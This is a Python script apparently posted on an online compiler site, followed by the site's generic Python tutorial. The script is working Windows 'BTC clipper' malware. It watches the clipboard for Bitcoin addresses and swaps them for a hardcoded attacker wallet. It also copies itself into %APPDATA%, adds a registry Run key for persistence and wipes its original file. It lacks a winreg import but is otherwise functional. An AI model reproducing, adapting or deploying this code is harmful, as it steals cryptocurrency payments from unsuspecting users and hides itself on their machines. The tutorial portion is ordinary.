import time
import subprocess
import ctypes
import re
import os
import sys
import logging


BTC_ADDRESS = 'bc1qksh2932xsc0688v3yfsyqpkdh4rvkg5fpgt8sd'

SELF_DESTRUCT_MESSAGE = 'File contents have been deleted. \n To remove the \
btc clipper, Delete it from %APPDATA% and delete it from Startup in the Registry Editor' 

logging.basicConfig(format='[%(asctime)s] %(message)s', datefmt='%H:%M:%S', level=logging.DEBUG) #debug mode on 

FirstTime = True

class Clipboard:
    def __init__(self):
        logging.debug('Clipboard init')
        self.kernel32 = ctypes.windll.kernel32
        self.kernel32.GlobalLock.argtypes = [ctypes.c_void_p]
        self.kernel32.GlobalLock.restype = ctypes.c_void_p
        self.kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]

        self.user32 = ctypes.windll.user32
        self.user32.GetClipboardData.restype = ctypes.c_void_p

    def __enter__(self):
        self.user32.OpenClipboard(0)
        if self.user32.IsClipboardFormatAvailable(1):
            data  = self.user32.GetClipboardData(1)
            data_locked = self.kernel32.GlobalLock(data)
            text = ctypes.c_char_p(data_locked)
            value = text.value
            self.kernel32.GlobalUnlock(data_locked)

            try:
                return value.decode()

            except Exception as e:
                logging.debug(e)
                return ''

    def __exit__(self, exc_type, exc_value, exc_traceback):
        self.user32.CloseClipboard()

class Methods:
    #regex = '\w{25,}'
    regex = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]+'

    @staticmethod
    def set_clipboard(text):
        logging.debug('Set clipboard')
        return subprocess.check_call('echo %s |clip' % text.strip() , shell=True)

    def check(self, text):
        try:
            regex_check = re.findall(self.regex, text)
            if regex_check:
                return True

        except Exception as e:
            logging.debug(e)

        return False

def add_to_registry():
   logging.debug('Adding to startup registry')
   path = os.getenv('APPDATA')

   logging.debug(path)

   file_name= sys.argv[0] #BACK

   address = os.getenv('LOCALAPPDATA') + '\\Programs\\Python\\Launcher\\py.exe' + ' ' + '-i ' + '"' + path + '\\' + file_name + '"'

   key1 = winreg.HKEY_CURRENT_USER
   key_value1 ="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"

   open_ =winreg.CreateKeyEx(key1,key_value1,0,winreg.KEY_WRITE)

   if open_:
        logging.debug('Registry Key created')

   winreg.SetValueEx(open_,"BTC CLIPPER",0,winreg.REG_SZ,address)

   open_.Close()

def replicate():
    virus_code = []

    with open(sys.argv[0], 'r', encoding='utf-8') as f:
        lines = f.readlines()
        for line in lines:
            virus_code.append(line)

    path =  os.getenv('APPDATA') + '\\'
    hide_path = os.getenv('APPDATA') + '\\' + sys.argv[0] #BACK
    logging.debug('Hide path: %s '% hide_path)

    with open(hide_path, 'w', encoding='utf-8') as f:
        for line in virus_code:
            f.write(line)
            if line == 'FirstTime = True\n':
                logging.debug(line)
                f.write('FirstTime = False\n')


    logging.debug('Finished replicating to APPDATA')

def self_destruct():
    logging.debug('Self destruct called.')
    with open(sys.argv[0], 'w', encoding='utf-8') as f:
        f.write(SELF_DESTRUCT_MESSAGE)

def start():
    m = Methods()
    while True:
        with Clipboard() as clipboard: 
            time.sleep(0.1)
            target_clipboard = clipboard
            logging.debug('Text found in clipboard: %s' % target_clipboard) 

        if m.check(target_clipboard):
            logging.debug('Probably a btc address.') 
            logging.debug('Original clipboard: %s' % target_clipboard)
            logging.debug('Setting clipboard to %s' % BTC_ADDRESS)
            m.set_clipboard(BTC_ADDRESS)         

        else:
            logging.debug('Not a btc address?')

        time.sleep(1)

def main():
    if FirstTime:
        logging.debug('Starting BTC Clipper')
        replicate()
        add_to_registry()
        self_destruct()
        hide_path = os.getenv('APPDATA') + '\\' + sys.argv[0]
        start()

    else:
        start()

main() 

Python Online Compiler

Write, Run & Share Python code online using OneCompiler's Python online compiler for free. It's one of the robust, feature-rich online compilers for python language, supporting both the versions which are Python 3 and Python 2.7. Getting started with the OneCompiler's Python editor is easy and fast. The editor shows sample boilerplate code when you choose language as Python or Python2 and start coding.

Taking inputs (stdin)

OneCompiler's python online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample python program which takes name as input and print your name with hello.

import sys
name = sys.stdin.readline()
print("Hello "+ name)

About Python

Python is a very popular general-purpose programming language which was created by Guido van Rossum, and released in 1991. It is very popular for web development and you can build almost anything like mobile apps, web apps, tools, data analytics, machine learning etc. It is designed to be simple and easy like english language. It's is highly productive and efficient making it a very popular language.

Tutorial & Syntax help

Loops

1. If-Else:

When ever you want to perform a set of operations based on a condition IF-ELSE is used.

if conditional-expression
    #code
elif conditional-expression
    #code
else:
    #code

Note:

Indentation is very important in Python, make sure the indentation is followed correctly

2. For:

For loop is used to iterate over arrays(list, tuple, set, dictionary) or strings.

Example:

mylist=("Iphone","Pixel","Samsung")
for i in mylist:
    print(i)

3. While:

While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.

while condition  
    #code 

Collections

There are four types of collections in Python.

1. List:

List is a collection which is ordered and can be changed. Lists are specified in square brackets.

Example:

mylist=["iPhone","Pixel","Samsung"]
print(mylist)

2. Tuple:

Tuple is a collection which is ordered and can not be changed. Tuples are specified in round brackets.

Example:

myTuple=("iPhone","Pixel","Samsung")
print(myTuple)

Below throws an error if you assign another value to tuple again.

myTuple=("iPhone","Pixel","Samsung")
print(myTuple)
myTuple[1]="onePlus"
print(myTuple)

3. Set:

Set is a collection which is unordered and unindexed. Sets are specified in curly brackets.

Example:

myset = {"iPhone","Pixel","Samsung"}
print(myset)

4. Dictionary:

Dictionary is a collection of key value pairs which is unordered, can be changed, and indexed. They are written in curly brackets with key - value pairs.

Example:

mydict = {
    "brand" :"iPhone",
    "model": "iPhone 11"
}
print(mydict)

Supported Libraries

Following are the libraries supported by OneCompiler's Python compiler

NameDescription
NumPyNumPy python library helps users to work on arrays with ease
SciPySciPy is a scientific computation library which depends on NumPy for convenient and fast N-dimensional array manipulation
SKLearn/Scikit-learnScikit-learn or Scikit-learn is the most useful library for machine learning in Python
PandasPandas is the most efficient Python library for data manipulation and analysis
DOcplexDOcplex is IBM Decision Optimization CPLEX Modeling for Python, is a library composed of Mathematical Programming Modeling and Constraint Programming Modeling